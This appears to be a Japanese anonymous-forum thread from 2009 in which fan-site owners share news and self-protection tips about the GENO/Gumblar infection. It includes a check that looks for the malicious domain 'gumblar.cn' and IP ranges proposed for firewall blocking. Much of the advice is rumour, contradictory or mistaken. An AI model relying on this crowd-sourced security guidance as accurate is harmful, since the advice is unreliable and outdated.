いや、ウィルスだからって意味じゃなくてタグ貼り付けて平気なのかと思って
特殊文字を全角に置き換えるとかさ

>>162

うち、FC2ブログ使ってるから怖いな。

ひとまずどうすりゃいいんだろう。

プライベートモードにしてパス掛ければ、危険は減るのか？

>167
切れない。もしくはコマンドラインで起動。

>>162の情報が確定だと鯖内に置かれた全ブログがアウト？
>>170の事例であって欲しいな…KOEEEEE！

>>65
福本作品のは「逆境」ではなく「越境（クロスオーバー）」だと思います

>>153
DCが火を噴くところを見てみたいｗｗｗｗｗ

ブログの感染が関係あるかはわからんが、FC2ホームページのトップには
少し前からこんな警告文が記載されている


【FC2】ホームページをご利用のお客様へ重要なお知らせです。
平素はFC2をご利用いただき、誠にありがとうございます。

最近ホームページにてiframeタグによる改ざんによりウィルスが埋め込まれてしまうサイトが増えております。

現在弊社側で感染しているウィルスファイルの駆除を実施しておりますが万が一、他のお客様もウィルスに感染されません様大変お手数ですが、こちらの対策として以下の事を実行して頂きます様お願い申し上げます。

【ウィルスサイト対応策】
・FTPパスワードを複雑なものに変更する事
・WindowsUpdateを実行する事
・ウイルス対策ソフトを最新状態にする事
・ウイルススキャン、スパイウェアスキャンをかける事
・お使いのブラウザの脆弱性によりウィルスに感染した可能性もございますので InternetExplorerをご使用の場合は
FirefoxまたはOpera等を使用する事。

情報処理推進機構：情報セキュリティ： Internet Explorer の脆弱性(MS08- 078)について
参考URL： tp://www.ipa.go.jp/security/ciadr/vul/20081218-ms08-078.html

ご利用の皆様には大変ご不便をお掛けしますが、ご協力のほど何卒宜しくお願い申し上げます。
-----
FC2,inc

>>178
了解。火狐いれなおします

>169
ｎ速は何度かスレ立っては落ちたらしい

唯一参加してる幸が注意喚起UPしてくれてた

>160-161
ありがとう

ソース出てない感染元に大騒ぎする人や、ここの1から読めば解決するような
質問する人が度々出るなー
とりあえず餅つけ

携帯よかPSPじゃね
書き込む必要がなければ

初心者ですんません
とりあえず初心者用にsqlsodbc.chmを探すところから始めたんだけど
SQLSODBC.CH_　ってのしか出てこなかったんですが…これは…？
一応サイト持ちじゃないと記述しておきます

今回だけは携帯厨有利だな
いろいろと

>>153
電源コードはよく確認しておけよ

非常駐型ウイルススキャンソフトならClamWinもおすすめ
オリジナルはLinux・Mac用のClamXavだけどコンパイル済みファイルの
感染も深部まで潜ってえぐり出すので精度はかなり高い（時間はかかる）。

>>182
それはネトゲの垢ハックウイルス関連だ
今回も似たようなもんだけどさ

>>182
前スレでも書かれたが、それは違うウイルスだし問題内容も違う
しかもパッチが2008年のものだから古すぎる

>>170
グレンのスレを見れば判るけど
　よく見かけた　とある
これは複数ブログがそうであったという風に読めるよ
恐らく一箇所ではないんだろう・・・分らないけど！

自分のジャンル晒すけど
ヘタリアのご本家がfc2なんだよ
もしfc2ブログがアウトでfc2の鯖がやられてるとしたら
ヘタ者は漏れなく全員アウトだぞ・・・

こんな恐ろしいことがあるかよ・・・
杞憂であって欲しい・・・絶対に杞憂であれ

>>182
fc2のブログ使ったこと無いからわからんけど、
iframeタグ入れられるのならfc2自体は感染してなくて
iframeから引っ張ってきてるhtmlにウィルス埋め込まれてるパターンじゃないの
だからｆｃ2ブログ全部感染してる、ｵﾜﾀ！って叫ぶのは待ったほうが

>>188
電源切ってケーブル引っこ抜いて寝てろ
初心者ですを言い訳にするなカス

>>182
これはFC2のブログに関してじゃなく
FC2でサーバーをレンタルしてる人宛てだね

FC2ブログ自分も使ってるが
確認したら取りあえずなんともなかった
FC2ブログはblog101　blog102…　ってかんじでサーバーがわかれてるから
どのサーバーでウイルスが確認されたかが問題なんだけど…

グレンラガンスレじゃFC2ブログに関する情報は
＞グレンではTALのサイトやFC2系のブログでよく検知されてたよ
だけなんだね

>>194
鯖ったってあんた、ｆｃ２の鯖いくつあるとお思いで

多分PC板のスレだったと思うんだけど、
感染の疑いがあるURLをオンラインでチェック、
結果のテキストになんとか.cnがあったらクロ…
みたいな書き込みがあったんだが、あまりにいろんなスレみててｗ
見失ってしまった。
だれかそのURLが判る人いますか？

>>199
これか？

サイトが感染してるのかわからない人は
http://wepawet.cs.ucsb.edu/
にアクセスするといいかも、とのことです。

ここで「URL」と書かれている右のフォームに
感染が疑われるURLを入力。
「Resource type」のチェックボックスは「JavaScript/PDF」にチェックを入れ、
「Submit for analysis」をクリック。
すると解析結果が出るので、Ctrl+Fをタイプしてページ内を「gumblar.cn」で検索。

（何も見つからなければ少なくとも現在は感染していない。
　見つかればそのサイトは感染している。 ）

>>194
グレンのスレの報告内容見たが、
「感染してることをサイト管理者に教えてあげたいが、
見るだけで感染するから閲覧出来ない」って言ってるくせに
「よく検知された」とも言ってる。妙な話だぞ。

サイトもブログも見ずに、何を見て検知を確認したんだ？

>>2の中の者です
199まで情報反映済み（漏れがあったら指摘お願いします）
FC2については憶測の域を出てないので様子見してます
何か分かり次第このスレに報告お願いします

感染ジャンルについてなんだが、ジャンルスレまで見に行く余裕がないので
GENO感染かどうか自分では判断できない
ジャンル名を載せるのは該当・近隣ジャンル者への注意喚起が目的だと思うので、
【疑わしいものは全て載せていく】という方針で行くけどいいかな？

現時点で感染してなくても警戒は必要なわけだし、問題ないと思うんだが
もしマズかったら指摘してくれ

・window98、オンラインスキャンのみに頼ってる
・ウイルス一つ検出・駆除、FTTTPとサイトのフォルダを消した
・JAVAは切ってる

あとパス変更以外に気をつける事ありますか？

>>199
>>15でなくて？

>>47
逆境じゃなっくて越境ｗ
逆境になるとカイジアニメだ

>>200
おお、それだ。�d！

>>203
なんて名前のウイルスだったの

>>203
98を窓から投げ捨てる

VISTAだがregが一瞬しか開かない･･･
UACは切ってなかったはずなのに
cmdは開いた。Windowsアップロードには繋がる
sqls〜はコンピュータ→ctl＋Fで検索したけど無かった
0409と0411の両方探したけど無かった
テンプレの他の症状は今のとこ見られない

これは亜種にかかったと判断するべきなのだろうかorz

>>203
OSをアップグレード、アンチウイルス導入
できないなら今の環境ではネットに繋ぐの止めましょう

>202
乙です
疑わしきは全て載せる、で良いと思う
現実的に感染ゼロのジャンルの方が少なさそうだし

最初に感染したサイトって、どこからウィルス流入したの？
外部からhtml書き換えられたような記述があったけど、

例えば、現時点で自分のＰＣもサイトも感染してない、
私が完全にネット断絶してれば、私のサイトはそのまま放置でも安全なのか？

>>203
みんなの為に窓から投げ捨てる

>>201
サイトにアクセスしたら、アバストが大激怒
それ以上先には絶対進めないってことかなとオモテタ

>>212
http://internet.watch.impress.co.jp/cda/news/2009/05/14/23435.html

他に2ch、楽天などで感染報告アリ

むしろブログで注意しなきゃいけないのは
記事内のリンク先や広告先がウイルスに冒されている可能性がある事じゃないか？

ブログトップの説明文か、先頭固定記事として
「これこれこういうウイルスが流行ってるから
リンク先に飛ぶ場合は注意しろ」とでも書けばいいとおもう

グレンの人はもう少しちゃんとした情報くれよ…

>>209
普通に調子の悪いPCと言う可能性も捨てきれないけどねえ
とりあえず一応対応しているアンチソフトでスキャンしまくったら？
サイト持ちだったらサイトのファイル確認は勿論と
安心できるまで一時閉鎖で
サイトがなければ他所へ拡散する心配は無いからね

>>214
そんならソフト名ぐらい書いててもおかしくなさそうなんだけどなー
アバストのアの字もないし釣り臭さプンプンする

あとXSS対策されてないスクリプトとかフォーム（特に自作）とかも要注意だね

>>212
サイト管理者が無事でも
サーバー管理者がアウトだったら＼(^o^)／ｵﾜﾀ

グレンスレ見てきたけど、まだ書き込み一つきりだから何ともいえないな
ジャンルは違うけど、自分のブックマークに入っているFC2ブログは今のところ大丈夫っぽかった
なんにせよ「白とは言い切れない」「今のところは大丈夫」という心構えで自衛するしかない

>>209アップデートだった

あげていこうぜ

>>214
自分もだ
avast検知でｺﾚ出ると強制切断で見れないんだよね
管理人に知らせる方法思いつかなくて歯痒かったな

>>225
鯖官に直接知らせればいいだろ

鯖管に知らせに行くための服がない

>>218
サンクス
とりあえずウイルスバスターでは検出できなかったから他も色々入れてみる

裸で何が悪い！

>>209
管理者権限のあるユーザーでログインしてる？
権限がなかったら見られないかもしれない
あとフォルダオプションで隠しファイルを見られないようにしてる可能性もある

ちなみにUAC有効でもプロンプトが普通に開けるのは普通
GUI使わずにプログラムを実行するDOS時代から続くツールだから

全く関係ないかもしれんが、昨日妹が履歴書の書き方ぐぐってたらAvastに怒られたっつってた
慌てて色々調べてここに辿り着いてスキャンしたり確認したらPCはセーフだったんだけど、コレ相当広まってるのな…

>>209
まさかとは思うが、reg.exe開いてない？
自分もVistaで感染してないか調べようとしたとき、検索窓にregまで入れて、
出てきたreg.exeを開いたら一瞬で消えて焦った
regeditまで入れないとregedit.exeは出てこないので念のため

すみません、大慌てで火狐導入したんですが、javascriptを無効にするというのはどうすればいいんですか？

212だけど、
>>221
なるほど…あと広告の感染もか…
引き篭もりつつ、自分のサイトは常にチェックしていないとだな。

NO　ｓｃriｐｔ

>>233
PCを窓から




ツール→オプション→コンテンツでjava scriptを有効にするのチェック外す

>>233
ツール→オプション→コンテンツ

アドオンいれなくても設定でjavascript切れるよ火狐

>>233
122 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/05/16(土) 14:04:13
ＮＯscriipt入れなくてもツール→オプション→コンテンツでjava scriptを有効にするのチェック外せば大丈夫よ

まとめサイトに丁寧に情報かいてあるのに何で読まないで質問するんだろう。

>>233
ツール→オプション→コンテンツでJavaScript有効にするをはずす

カスペラキーのオンラインスキャン、失敗ばかりで出来ないんだが
他に手軽にウイルススキャン出来るサイト無い？

>>233
ツールバーのツール→オプション→コンテンツ
でチェックはずす

>>233
感染サイトを閲覧しない限りは自分が感染することも無い
焦らずじっくりまとめサイト読んで行こうぜ

>233
　ググれかす

意地でもネットサーフはやりたい。しかしJS切りっ放しだとめんどい。ので考えてみた

安全な方法としては
JS切ってサイト閲覧→サイトのソースチェックして未感染を確認→JSをONにする
を毎回やれば安全かな。

IE用のタブブラウザDonuts、JSのON、OFFが簡単に出来たような記憶が。
火狐どうも合わないから、これ使ってみようかな。

>>231
URLわからない？
そこならば同人関係ないでしょう。

>>242
ニフ、bit

>>242
ニフティ

カスペでやってくれるよ

つかマジでみんな、まとめとログくらい読もうぜ…

今はｸﾞｸﾞﾚｶｽは危険

みんな優しいな

Operaはアウト？火狐も入れるべきか

そういえばようつべとニコ動は平気なの？

前スレでワンピース個人サイトも感染って書いてあった。

ああググレカスは危険だな。以下レスを抽出したものコピペ

------------------------

FirefoxはデフォルトだとGoogleのリンク先先読み設定あるから、
about:config で network.prefetch-next を falseにしとけ。

Firefoxのアドレス欄にabout:configってコピペ、Enter（ここで許可を求められたら許可する）
ずらずらーーーーーってアルファべ順に出てくる項目の中から
network.prefetch-nextを探して選択、右クリで切り替えを選択しtrueをfalseに変更

Firefoxの先読みをOFFにするとインターネットが遅くなるがガマンしろな！

ｸﾞｸﾞらないでｶｽ
まとめサイトをまず見るｶｽ

感染疑い者は>2で殆ど事足りるのでは

オススメのブラウザって火狐だけ？
この際だから完璧に乗り換えようと思うんだけど、
使いやすさとかも含めて何かおすすめあれば教えてください

すみません、書き込んだあとにすぐできました…見落としていたようです
教えて下さった方ありがとうございました！
自サイトのトップにもまとめページへのリンク等してきました

手ブロの方でも注意記事がいくつか上がってますね

アバストは検出してくれるんだな。

そういえば月曜日にアバストが怒ったサイトがあった。
管理人に連絡しなかったけど。
輪かサーチで行ったとこだから、どこだったかも覚えてない。
ちなみに特撮サイト

火狐はスクリプトオフに加えて先読み禁止をやらなならんのじゃろ
じゃないと怖くてぐぐれない

■アニメ系
01.エヴァ(小説サーチ) / 02.忍たま乱太郎 / 03.ガンダム00 / 04,プリキュア / 05,天体戦士サンレッド
06.コードギアス / 07.レッツ&ゴー / 09.イナズマイレブン

■少年漫画【週刊飛翔系】
01.リボーン(プチオンリー告知サイト・ファンサイト) / 02.テニミュ(ファンサイト)03.ジョジョの奇妙な冒険
04.ワンピース / 05.デスノート / 06,D.Gray-man / 07.遊戯王無印
■少年漫画【その他】
01.鋼の錬金術師(オンリー告知サイト) / 02.コナン
■青年漫画
01.ヘタリア (PC鯖使用の携帯向け同盟)/ 02.おお振り(アンソロ告知サイト) 03.福本:越境,銀金

■ゲーム【ＲＰＧ,ＡＣＴ】
01.幻想水滸伝 / 02.戦国BASARA(アンソロ告知サイト) / 03.戦国無双 / 04.バイオハザード
05.メガテン:真、サマナー、ライドウ、ペルソナ4 / 06,テイルズオブジアビス / 07,セブンスドラゴン
■ゲーム【乙女ゲーム,BLゲーム,男性向け】
01.Vitamin / 02.遙かなる時空の中で / 03.Starry☆Sky / 04.クインロゼ / 05.薄桜鬼
01.ニトロプラスキラル:咎狗(アンソロ告知サイト)
01.Fate / 02.ひぐらし
■ゲーム【格闘,アーケード,その他】
01.ポップンミュージック / 02. 東方 (超大手感染情報) / 03ブレイブルー

■小説・ライトノベル - 01.小野不由美（サーチ）
■創作 - 01.創作小説 / 02.創作同人ゲーム /03.オリJUNE
■その他 - 01.特撮

■その他の接触確率の高そうな報告例
01.非同人系ゲーム同盟サイト / 02.模型イベントホビーコンプレックス告知サイト

そういえば特撮系同人サイトは前スレでも報告されてなかったけ？

>>258

誤解されてる方がいらっしゃるようですが今回のウイルスはFlashとPDFの脆弱性をついたものですので
ブラウザは関係ありません。IEを責めないであげてください。

>>247
残念ながらぐぐって行けるところという情報しか妹からは聞き出せなかった
履歴ももう削除してしまったし
同人関係ないのはごめん、でももしGENOウイルスだったら就活中の人も相当ヤバイ

Firefoxのアドオンの中にはボタン一つでJSをON/OFF出来るのもある
参考までに
ttps://addons.mozilla.org/ja/firefox/addon/1237

>>1
スレ立て乙でした、認識不足で申し訳なかったです。
ﾃﾝﾌﾟﾚはり師さん、乙でした。

ついでGENO本スレ
感染疑いあり※
コナンノマカプ同人サイト

新型インフルエンザに新型コンピューターウィルス
逃げ場がないな

火狐設定変えてこようorz

>>252
他の対策もした上でjavascriptオフにしとけばアウトでは無いと思う
とは言え火狐の方がユーザー多いから、
安心感得たいならそっちに従った方が気分は楽かも

自分はOperaで必要な時だけ、F12からjavascriptオンに切り替えてる

やれる事はやってみるよ素早いレスありがとう

>>207
亜種が色々あるのを知ったのはチェック後だったから
詳細控えてないのですすみません。ウイルス自体はトロイ。

>>260
検知してくれて感染まぬがれてる身だが、亜種どんどん出てるし完全に対応
間に合うとは限らないので油断禁物

しばらくJAVA切って引きこもって、携帯で閲覧するわ

>>260
牛スレの方でバイク乗りか船体なのか他なのかもう少し詳しい情報ﾌﾟﾘｰｽﾞ

>>264
じゃあなぜまとめサイトには
＞●ブラウザはIE以外のものを使用し、
という記述があるの

Adobe関係の最新バージョンと確認方法
一応最新バージョンの数字再確認してきたけどこれで合ってるかな

Adobe Flash Player のバージョン確認
http://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
※JavaScript有効じゃないといけないので確認時のみ有効にしておく事
現在の最新バージョン　10,0,22,87

AdobeReaderのバージョン確認
スタート→すべてのプログラム→Adobe Reader起動後、
ヘルプ→Adobe Readerについてをクリック
現在の最新バージョン　9.1.1

>>262
（）でくくるとそのサイトだけが感染してるみたいだから止めた方がよくない？
ヘタリア、おお振り、BASASAは普通の同人サイトでも感染あるし

自己申告。
特撮・平成バイク乗りで５月頭に感染しました。対処済み。

>>251
ググレカスが命取りになりかねないからな

>>265
それ系の普段誰が見るんだ系サイト(しかも皆デザインが似てる)が感染してた例があるよ。
実際に踏んだ。2つの会社に(あえて晒すけどロリポップとvalue domain)に連絡したけど
返信してくれたのはロリポップのみで、しかも訪問者には特に告知なし。
黙って修正しただけで終わっちゃった。
たぶん同一人物が管理してるんじゃないかなんてセキュ板の人が言ってたけど
俺もそう思う。他にも気付いてないサイトが一杯あるはずだよ。たぶんその一つだったんじゃないかな。

次回から>>1にテンプレで入れたらどうかな
スレで質問する前にログくらい読みましょう、とか、
解らないことがあったらまずwikiのFAQを読みましょう、とか

いちいち書かないと行けないのも馬鹿馬鹿しいが
同じ質問ばかり繰り返されて、感染報告や新規情報が埋もれてまとめの人も大変だろうに

サイトを持っているので、不安になり>>10の方法でやったけど大丈夫でした。
自サイトにも変な文字列は入っていませんでした。
その後pdfリーダーとflashを最新にし、カスぺのオンラインスキャナを試した所、
Exploit.Win32.Pidief.atmっていうのが引っ掛かりました。
これもアウトでしょうか。別のウイルスに掛かっているという事でしょうか。

>>253
無事じゃなかったら今頃祭りだろうな

>>273
Wiki管理人がMSアンチなんだろｗ
セキュ板のテンプレにはIE云々なんてないぞｗ
感染予防対策

１．Adobe Flash Player の最新版にアップデート
２．Adobe Acrobat Reader の最新版にアップデート
３．NoScriptの導入（Firefoxの導入）
４．Adobe Acrobat Readerの JavaScript 機能OFF
５．危険IPのブロック


諸事情でAdobe Reader 最新版を使わざるを得ない場合
2009年4月29日現在の最新版バージョン9.1設定例

１．Adobe Readerを起動し「編集」メニューの「環境設定」
　　「Acrobat JavaScriptを使用」のチェックボックスをオフ（チェックを外す）
　　OKを押して設定確定後、Adobe Readerを終了。
↓
２．必要と好みに応じて Adobe Reader Speed-Up にてプラグインを整理
　　設定は SpeedUp - Fast がおすすめ。
　　　注意すべきは
　　　Acroform（拡張子なし）
　　　Annotations（拡張子なし）
　　　これら2つのチェックボックスをオン（チェックが入っている）状態にしておく必要がある。
　　　そうしないと Adobe Reader が起動しなかったりする。

　　　このとき追加作業として
　　　EScript.apiとEScript.JPNのチェックボックスをオフ（チェックを外す）状態にしておくと
　　　より安心かもしれない。

>>275
サーチや企画サイトは影響力が個人サイトに比べて半端ないから、区分は必要かと

然しこういうときにこの板の連投規制は辛いな

>>253
ニコは動画紹介の個人サイトがアウトだったな

>>275
（）内は閲覧者の多いサーチや情報サイト系の被害が爆発的に広まりそうなものだけにした

>>280
外出

アウトです。

FTPで書き換えが起こるんなら鯖のファイルマネージャー使ってる人は
サイトの書き換えは起こらないってことか？

>>282
IEのみ感染報告があり、火狐など他のブラウザーでは報告がないからなのかな
ＩＥのみ感染するウィルスかもしれないが確定してないんジャマイカ
と言ってみるテスト

>>286
ブログでの感染例が本当ならIDやパスが漏れた時点で
ファイルマネージャー利用するIDやパスが漏れるので改竄されると思う

IEが禁止の理由（推測）
・JS禁止方法がわかりにくい（セキュリティの高低じゃわからんわ）
・感染後、実際ウィルス働くのが窓使いでIE7まで使用の場合の可能性濃厚（8は対策済らしい）
・ていうかどっちにしろIEは狙われやすいから、やめとくに越したことはない

ただもちろん亜種なんかには対応しきれないだろうね。

IEの最大の特徴は
・Windowsにデフォルトでついてくるのでそのまま使う人が多い
・IEにしか対応してない企業サイトが多いため、なんだかんだで使う
・アップデートするにはWindowsUpdateが必要
（他ブラウザはネット繋いでれば勝手に更新告知→アップデートしたらブラウザ再起動で完了だが、
IEは他のパッチと同時配信の上にPC再起動させないといけないので面倒）

それにシェアが落ちたとはいえIEは未だに最大を誇ってるし、シェアが高いということは
一回の攻撃で被害の範囲がでかくなるということ
だからMicrosoft製品やそれに準じた製品への攻撃が多いのが実情
企業サイトにはPDFファイルやFLASHが多いし

ノートンのFWでIP遮断したいのですが、
CIDRが有効か分からないので範囲指定で直接入力しようとしています。

94.247.0.0/16＝94.247.0.0〜94.247.255.255
94.229.65.160/27＝94.229.65.160〜94.229.65.191

で合ってますか？
上は前スレから、下は自分で計算しました。

Safariって大丈夫かな？

すみません、お伺いします。
ニフのオンラインスキャンをかけたところExploit.JS.Agent.agrというのが
ひっかかったんですが、これはアウトでしょうか？
一応>>10の方法はひっかからなかったんですけど。

>>282
すまん、Ｗｉｋｉはほとんどが前スレに書かれてたもののコピペなので
嘘や矛盾があったらガンガン指摘してくれると助かる
正直本スレ追ってる余裕がない

293まで反映済み・漏れがあったら指摘プリーズ

>282
カスペルスキーインターネットセキュリティ 2009
定義データベース　5/16 0:02更新分

Adobe Acrobat Reader　9.1.1　EScript.apiとEScript.JPNに脆弱性ありとして
隔離推奨表示が出るようになったので報告

もうこえーからadobeごと削除した
それでもまだ不安だしＰＣもセトアプし直そうかと思う・・

>>293

>>280
ログくらい読んでくれ

＞292
Windows版Safariのこと？
　・5/14に脆弱性対処最新バージョン3.2.3がリリースされた

対処法としては
　・設定→セキュリティ
　　　詐欺サイト：詐欺Webサイトを訪問したときに警告
　　　Webコンテンツ： プラグイン/JavaScriptを有効にするをオフ
　・詳細→メニューバーに【開発】メニューを表示
　・ツールバー（Macならメニューバー）→開発
　　JavaScriptを無効にする
　　サイト固有のハックを無効にする
　　Runaway JavaScriptを無効にする

javascriptってＩＥだと
インターネットオプション→詳細設定のjava（sun）のチェックを消せばいいんでしょうか？

>>287v
どのスレで見たのかログ探しきれなかったんだけど、解析してた人の報告では
このウイルスは感染者のOSがXPかVistaか、ブラウザはIEかってのをちゃんとチェックしてるらしい
IEだけが感染するという確定はしていなかったけど

報告済みのジャンルだけど、Avastが止めてくれたサイトには
携帯（場合によってはファイルシーク併用）で連絡してきた。
フルブラウザじゃなければ大丈夫だよね？

FTPパスの件だけど、クリーンインスコに時間がかかるときに
ウイルスソフト最新起動＆JavaScript切った火狐がいけるクリーンな他のパソコンで
ひとまず外部からパスだけ変えておくのはアリなんだろうか？
外部からのhtml書き換えを阻止するという意味で

>>299
違う
JavaとJavascriptはまったくの別物

まとめみたり携帯で調べない奴はPC捨てろ

他スレから拾ってきた
Adobe FlashPlayer バージョンテスト
http://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm

今同人サイトまわってたらトロイの木馬って
反応したサイトあったけどこれは違うのかな？

>300
たぶんこれ？

――――――
76 名前：名無しさん＠お腹いっぱい。 投稿日：2009/05/16(土) 13:53:19
IE以外で感染した人っているの？
スクリプトを見る限り、IE決め打ちでNT Versionも6未満をターゲットに
してるようなんだけど。

み糞とかでも注意換気した方がいいかな？

>>307
したほうがいいね

自分も今日の日記に書くわ

>>305
Avastではトロイ扱いで検出される。
なので詳細を知らせてほしいのと、
どっちみち何かに感染してる可能性があるからそこの管理人にも知らせとけ

＞304
一番簡単なバージョン確認方法
　C:\WINDOWS\system32\Macromed\Flash\NPSWF32.dll
　プロパティ→ファイルバージョン:10.0.22.87かどうかを確認

レジストリエディタが立ち上がればセフセフ？

>>289
Firefoxが会わないという人もいるから、
そういう人はIE系のタブブラウザでページごとに
JavaScriptオン/オフ出来るものを使うといい
FirefoxでNoScript突っ込んでabout:config変更がいちばん簡単だとは思うけど
使い慣れてない人にとってはストレスかもしれない

>>301
感染したPCをネットワークから切り離して、
安全と確認したPCからならいいけど、
焦って接続するよりクリーンインストールしてからパスワード変更した方がいいと思われ

>>299
まとめサイトのFAQは見れ

頼むからJavaとJavaScriptの区別くらいつけてくれ。サイト持ちなんだろう

6未満ならVistaはセーフのはずだけど感染報告あるんだよね？
未満と以下を勘違いしてるとかかな

まとめwikiに
＞InternetExplorerの場合、ある状況によっては画像ファイルからも感染するおそれがあるが、IE8では対策済み。
って書いてあるけど、IE8ならGENOウイルス自体には感染しないって意味？
それとも「画像ファイルから感染する恐れがない」ってだけ？

>>313
300 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/05/16(土) 15:11:39
Vista/７はUAC有効のままなら大丈夫
心配性の人は、この機会にDEPを全てのプログラムに対し有効にしておけ
例外設定が面倒だが、下手なアンチウイルスよりよほど信頼できる

だそうです

>>312
すみません、サイトは持ってないんです。どうも、まとめ見ても無効にする方法が分からなくて……。
他の方々にも御迷惑をお掛けしました

>>311

まとめ嫁

IE7以前だと
今回のウイルスで感染したサイトに勝手にアップされた悪意のある画像ファイルも
読み込んでしまうことがある
(IE8ではその点に関しては対策済み)

今回の場合においてIE以外のブラウザを推奨するのは
そういう理由もあるからだと理解してます。

だから一概にアンチMS、あるいはアンチfirefoxと
ひとくくりにせず、自ら判断する姿勢が要ると思う。
閲覧するほうも編集するほうもね。

ニフティでスキャンしたら、WINDOWSフォルダ直下のpnftca.jefってやつにTrojan.Win32.Small.bxzってのを発見。
とりあえずこのpnftca.jefファイルの更新日がsqlsodbc.chmの更新日が一致した。
さーて、美容院の予約取り消して対処してくるか。λ..........

>>291の質問に答えてほしいage

>>314
その書き方だと後者じゃないかと思う

>>320

ノートンスレ池

>>306
もう少し以前にスクリプトの１部抜粋で詳しく書いてあったような気がする
亜種ではそのOS、ブラウザのチェック部分が無いタイプもあるから注意しろとか
あちこちスレ回りすぎてどの板で見たのかわかんなくなってきた

Vista（ＩＥ７）でのJS無効のやり方を詳細に教えてほしい
ツール→インターネットオプション→セキュリティ→レベルのカスタマイズ
…まで行ってみたんだが、ＪＳを無効に〜みたいなのが見つからない
どれですか？

GENOウイルスまた流行りだしたのか？
とっくに終息したもんだと思ってたわ。
マジ危険なやつだから注意。

>>321
そっか、ありがとう
自分はIE8使ってるけどコマンドプロンプトもレジストリエディタもちゃんと起動できるし
今のところは感染してないな
Adobe ReaderもFlashも最新バージョンだし

>>316
ツール→インターネットオプション→セキュリティ→レベルのカスタマイズ→
スクリプトのとこ全部無効にチェック

違うとは書いてあるけど、やりかた記載してるレスは無いんだな
これもwiki載っけたほうがいいと思う

>>319
鯖上のファイル全部消してケーブルとか物理的に引っこ抜いて美容院行ってくればいいじゃない

>>325
だから今の方が危険だわ

>>325
ここ数日でパンデミックに発展

＞コマンドプロンプトもレジストリエディタもちゃんと起動できるし
これ出来ても意味がないんじゃなかったか？
上でそれでも感染報告出てるけど

>>309
検出名：Obfuscated Script.f（トロイの木馬）
ちなみにソフトはMcAfee


サイト踏んだ後>>1のウィルス感染の確認をしたが大丈夫だった
管理人には一応知らせておく
昨日まで反応しなかったサイトなんだよな…

まとめだと
>JavaScriptの無効化方法
>ツール→オプションからJavaScriptを無効にできる。IEの場合はブラウザ再起動をしないと適用されないので注意
とあるけど、細かく書くとこうなるのかな…？

ツール
→インターネットオプション
→セキュリティタブにあるレベルのカスタマイズをクリック
→「スクリプト」のアクティブスクリプトを「無効」

Opera使いだが、Operaはツール→クィック設定でjavascript簡単に切れるよ、と報告
今のとこ未感染。
IEからの乗り換え考えてる人にどうぞ。

利便性も今のところ不自由は感じない。

>>322
ノートン使いじゃないけど>>291は気になる
ノートンでの設定の仕方とかじゃなくて、あの範囲指定で
合ってるのかどうか知りたいんだが

おお、>>327とかぶった
というか微妙に違った
そうだな、全部無効にしとけばいいのか

他の板見ても全く認知されてない感じなんだが
どれだけの人がこことか本スレ見てるのかな(分かるわけはないんだけど）
スレの伸びとか妙に速いし祭りレベルだと勝手に思ってたんだけど

深刻に思ってないのが多いだけだな
後の祭りになりそうだ

>>337
自分は大丈夫と考えている人は意外に多い
豚フルと同じ。過剰なくらいの対策をしてまずいということはないんだがなぁ

スクリプトのところに
・ＪＡＶＡアプレットのスクリプト
・アクティブスクリプト
とあるんだが、アクティブ〜のトコだけ無効でおｋ？
ＪＡＶＡは別物の方？有効で大丈夫かな？

ニフティのオンラインスキャン、３０分で６％しか進んでいないのは何かの嫌がらせですか？

火狐、使いにくくはないけどインターフェースがIEと違うくて慣れない人は
テーマのアドオンのLooks familiarってのにするとまんまIEっぽくなって
気分的に使いやすいよ。
あと、アドレスバーはツール→ツールバー→カスタマイズ→ツールバーの追加で
一段下に増えるので、そこに今あるアドレスバーをドラックすればIEっぽくなる。
火狐はIEよりカスタマイズの範囲が広いので、弄って自分好みに出来るのがいい。

そこにNoScriptを追加して、>>9でググルの先読み禁止してAdobeのフラッシュと
Reader最新にして、サイト巡りちょっと控えてみる。

ｆｃ２のブログで見つかったとか見つからないとかの話題が出てたけど、
以前ロリポでも「勝手にソースが書き換えられるようです」系の警告文流さなかったっけ？
あれはGENO関係だったのかな…
自サイトはなんともなかったので詳細はあんまり覚えてないんだけど

カスペでスキャンしようと思ってボタン押したのにまったく起動しなかった
重たいだけだよな…

>>337
自分は自ジャンルスレでみるまでこのウィルスの存在すら
知らんかった。気づいてない人がまだまだ多数なんだろう
山田とかと違って見ただけで感染の可能性があるから
どこにでも危険があるのが怖い所だな

>>337
同人はブログじゃなくてサイト持ちが多いから影響が尋常じゃない
今はテキストベースだとブログでやってる人の方が多いけど同人サイトはそうじゃないから

トレンドマイクロのｳｴﾌﾞの脅威度低いな
っつか最新更新が４日…

MacとiPod Touchはどうすればいいですか？

>>333
それJAVAアプレットのON/OFFじゃない？

IE8のJSオフにするのどこだっけな、、

感染してからじゃ遅いもんな
さっき家族にも言ってきたところだ
幸い何事もなかったけど、怖いから当分ネットしないと言ってた

mixiとか手ブロ、ピクシブあたりは少しずつ注意がいってるらしいけど
あと出したらよさそうなところってどこがあるだろう
動画サイトとかは無理なのか
しかし下手に動くと自分も危くなるし。難しいな

現時点でも感染拡大中なのにな。
ただ呼びかけようにもサイトにお邪魔するのもためらうしな。
たぶん初心者や厨房や消防とかここに関心のない連中は見てないかもしれない。

ノートン先生入れたままカスペルスキーでスキャンできる？

これってウイスルバスターを入れてても感染するんだよね？
ウイルスバスターの対応はまだなのか

まだウイルス・スパイウェア対策ソフトを入れてない人はこの際
KIS2009体験版を入れてみてはどうかと思う次第。

今落ちてくるやつはcmdは普通に起動できる
regeditは感染直後は起動できたけど一度再起動したらregedit起動できなくなった

>347
新Mac板のセキュリティスレへ池
同人系の相談がしにくければノウハウ板のMacユーザースレへ

前スレまでは入ってたけど、
閲覧しただけで感染する
その状態でFTP使って更新すると・・・みたいなことが書いてないから
どういう仕組みで感染するのか分かってない人が多いんじゃないか？

基本バスターは対応遅いでしょうから他ので対策出来たらそっちに行った方が早い
けど今回はその対策がいつになったら出来るかっていう感じだが

ピクシブは注意画像できてた
が、即効埋もれてた

>>355
ありがとう行ってきます！

>>333
ありがとう。
ＩＥ７でJavaScriptの無効化方法わからなかったので、すごい助かった！

もうでてるサイトかもしれんが戦国BASARAで感染確認
忍者が多い・メインがコミックなサイトさん
２・３日前にメルフォから連絡したが反応なし・対応もなし
JS:Redirector-H7 [Trj]ってトロイが確認されてます

>>348
